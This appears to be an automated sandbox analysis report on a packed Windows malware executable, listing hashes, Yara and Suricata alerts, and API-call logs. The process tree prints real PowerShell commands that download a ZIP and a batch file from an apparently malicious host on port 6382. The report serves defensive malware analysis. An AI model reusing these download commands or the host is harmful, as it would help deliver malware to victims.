Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 28, 2025, 9:44 a.m.	March 28, 2025, 9:46 a.m.

Size	1014.5KB
Type	PE32+ executable (GUI) x86-64, for MS Windows
MD5	`8591934e438d1853b17f55d86b5515f7`
SHA256	`d60964e96e5252cc062fff7b0ab9b62fe08566d1d2c7d40d988dfb8801d0701e`
CRC32	`65D5D6F9`
ssdeep	`24576:ZrORE29TTVx8aBRd1h1orq+GWE0Jc5bDTj1Vyv9TvasA:Z2EYTb8atv1orq+pEiSDTj1VyvBas`
Yara	PE_Header_Zero - PE File Signature Malicious_Library_Zero - Malicious_Library IsPE64 - (no description) Generic_Malware_Zero - Generic Malware OS_Processor_Check_Zero - OS Processor Check UPX_Zero - UPX packed file

cmd.exe cmd /c C:\Users\test22\AppData\Local\Temp\taxd.bat
2668
- powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"
  2732
- powershell.exe powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip' -OutFile 'C:\Users\test22\Downloads\CPAdocxs.zip' } catch { exit 1 }"
  2816
- powershell.exe powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://teamvontaxi-koblenz.it.com:6382/CPA.bat' -OutFile 'C:\Users\test22\Downloads\CPA.bat' }"
  2948

Name	Response	Post-Analysis Lookup
right-championships-junior-pubs.trycloudflare.com	A 104.16.231.132 A 104.16.230.132	104.16.230.132

IP Address	Status	Action
104.16.231.132	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
UDP 192.168.56.103:52760 -> 164.124.101.2:53	2034552	ET POLICY Observed DNS Query to Commonly Abused Cloudflare Domain (trycloudflare .com)	Potentially Bad Traffic
TCP 192.168.56.103:49162 -> 104.16.231.132:443	2058175	ET HUNTING TryCloudFlare Domain in TLS SNI	Misc activity
TCP 192.168.56.103:49162 -> 104.16.231.132:443	2060250	ET INFO Observed trycloudflare .com Domain in TLS SNI	Misc activity
TCP 192.168.56.103:49162 -> 104.16.231.132:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

Flow	Issuer	Subject	Fingerprint
TLSv1 192.168.56.103:49162 104.16.231.132:443	C=US, O=Google Trust Services, CN=WR1	CN=trycloudflare.com	c1:f5:d9:f4:2e:e4:62:4a:93:1f:06:f7:a0:22:d4:38:59:bf:bd:94

Queries for the computername (16 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:38 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2025, 9:39 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (3 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 28, 2025, 9:38 a.m.			0	0
IsDebuggerPresent March 28, 2025, 9:38 a.m.			0	0
IsDebuggerPresent March 28, 2025, 9:39 a.m.			0	0

Command line console output was observed (8 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: C:\Users\test22\AppData\Local\Temp> console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: cls console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: '■' is not recognized as an internal or external command, operable program or batch file. console_handle: 0x000000000000000b	1	1
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: Searching for PDF files in the Downloads folder... console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: No PDF files found in the Downloads folder. console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:38 a.m.	buffer: Downloading ZIP file from http://teamvontaxi-koblenz.it.com:6382/TaxPrep.zip ... console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:39 a.m.	buffer: Failed to download the ZIP file. console_handle: 0x0000000000000007	1	1
WriteConsoleW March 28, 2025, 9:39 a.m.	buffer: Downloading startup file... console_handle: 0x0000000000000007	1	1

Uses Windows APIs to generate a cryptographic key (50 out of 88 events)

Time & API	Arguments	Status	Return
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00000000001bc930 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482590 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482830 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482ad0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482ad0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482ad0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b483160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b483160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b483160 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4831d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482600 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b482de0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x0000000000241c30 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b0f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b0f10 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b1300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b4b1300 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000000037e1d0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20acb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20acb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20acb0 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20af50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20af50 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20ae70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1
CryptExportKey March 28, 2025, 9:38 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x000000001b20ae70 flags: 0 crypto_export_handle: 0x0000000000000000 blob_type: 6	1	1

Collects information to fingerprint the system (MachineGuid, DigitalProductId, SystemBiosDate) (1 event)

registry

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\MachineGuid

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 28, 2025, 9:38 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 391 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 2293760 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000027a0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002950000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef21a1000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241e000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241f000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2420000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2420000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2420000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2420000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2420000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2421000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2421000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2421000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef2421000 process_handle: 0xffffffffffffffff	1
NtProtectVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fef241e000 process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00052000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 589824 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff10000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007fffff00000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00042000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002952000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 12288 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0000000002954000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00053000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00054000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00142000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0011d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff0010b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00102000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00055000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00190000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00043000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00056000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
NtAllocateVirtualMemory March 28, 2025, 9:38 a.m.	process_identifier: 2732 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x000007ff00143000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffffffffffff	1
